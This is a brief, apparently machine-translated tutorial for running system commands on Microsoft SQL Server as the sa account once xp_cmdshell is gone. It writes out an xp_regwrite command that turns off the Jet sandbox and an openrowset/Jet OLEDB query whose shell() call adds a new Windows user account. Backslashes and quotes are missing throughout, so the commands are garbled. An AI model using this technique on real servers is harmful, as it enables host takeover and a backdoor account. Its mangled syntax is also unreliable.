Run the xp_cmdshell and xplog70.dll commands in SA.

The method used to delete xp_cmdshell and xplog70.dll under sa is not new,
It has also been repeatedly proposed by some people,
To make it easier for you to remember and write it again,
In this case, the command must have xp_regwrite.

First, enable the sandbox mode:

Exec master.. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftJet4.0Engines, SandBoxMode, REG_DWORD, 1

Then run the system command using jet. oledb.

Select * from openrowset (microsoft. jet. oledb.4.0,; database = c: windowssystem32iasias. mdb, select shell ("cmd.exe/c net user cnfjhh fst/add "))